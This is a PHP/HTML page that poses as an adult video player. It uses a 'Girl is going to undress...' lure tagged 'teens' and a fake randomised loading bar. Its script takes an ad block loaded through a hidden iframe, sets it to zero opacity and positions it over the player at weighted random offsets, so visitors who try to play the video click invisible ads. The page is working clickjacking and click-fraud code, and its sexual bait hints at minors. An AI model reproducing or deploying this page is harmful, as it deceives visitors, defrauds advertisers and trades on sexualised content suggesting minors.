<?php

function gauss() {
    $randmax = 100000;
    do {
        $u1 = rand(0, $randmax) / $randmax;
        $u2 = rand(0, $randmax) / $randmax;
        $x = sqrt(-2 * log($u1)) * cos(2 * pi() * $u2);
    } while (strval($x) == "1.#INF" or strval($x) == "-1.#INF");
    return $x;
}

function gauss2($from, $to) {
    return (gauss() + 3) * ($to - $from) / 6 + $from;
}

?>

<script type="text/javascript">

onload=function() {
    var progress = 0;
    interval = <?= gauss2(1, rand(600, 4000)); ?>;
    var id = setInterval(function() {
        progress += 4 + Math.floor(Math.random() * 12);
        if (progress > 100) {
            progress = 100;
            clearInterval(id);
            document.getElementById("player").style.backgroundImage = "url('/files/player2.png')";
            document.getElementById("progress").style.display = "none";
	    if (Math.random() > 10.7) {
                window.location.replace("http://yahoo.com");
                return;
            }
	    adv();
        }
        document.getElementById("progress").innerHTML = "Loading " + progress + "%";
    }, interval);
};

function adv() {
    var topMargin = document.getElementById("frame").contentWindow.document.getElementById("top-margin").innerHTML;
    var height = document.getElementById("frame").contentWindow.document.getElementById("height").innerHTML;

    var adv = document.getElementById("cse");
    adv.style.position = "relative";
    document.getElementById("player").appendChild(adv);
    adv.style.width = "1000px";
    adv.style.opacity = "0";
    adv.style.zoom = "1";
    adv.style.filter += "progid:DXImageTransform.Microsoft.Alpha(opacity=0)";
    adv.style.left = (-252 - Math.random() * 120) + "px";
    adv.style.top = (168 - topMargin - (height * select([15, 9, 6, 5, 3, 2, 2, 1, 1]))) + "px";
}

function select(probability) {
    var total = 0;
    for(var p in probability) {
        total += probability[p];
    }
    var r = Math.floor(Math.random() * total);

    var n = 0;
    for(var p in probability) {
        n += probability[p];
        if (r < n) {
            return p;
        }
    }
    return 0;
}

</script>

<iframe id="frame" src="/top/cse.html" width="0" height="0" frameborder="0"></iframe>

<div style="position: absolute; top: 0px; left: 0px; z-index: 10000; margin: 0; padding: 10px 0 0 30px; background-color: white; width: 100%; height: 1500px; ">

<img height="0" src="/files/player2.png" />
<p style="color: black; font: bold 32px serif; margin: 20px; padding: 0;">Girl is going to undress...</p>
<div id="player" style="background-image:url('/files/player1.png'); width: 640px; height: 384px;">
<div style="width: 640px; text-align: center; font: 12px sans; color: #cccccc; padding-top: 165px;" id="progress">Loading 0%</div>
</div>

<div style="font: 16px serif; margin: 20px;">
<ul style="list-style-type: disc;">
<li>Category: teens, dancing</li>
<li>Duration: 1min 25sec</li>
<li>Rating: 4.5 / 5</li>
</ul>
</div>

</div>
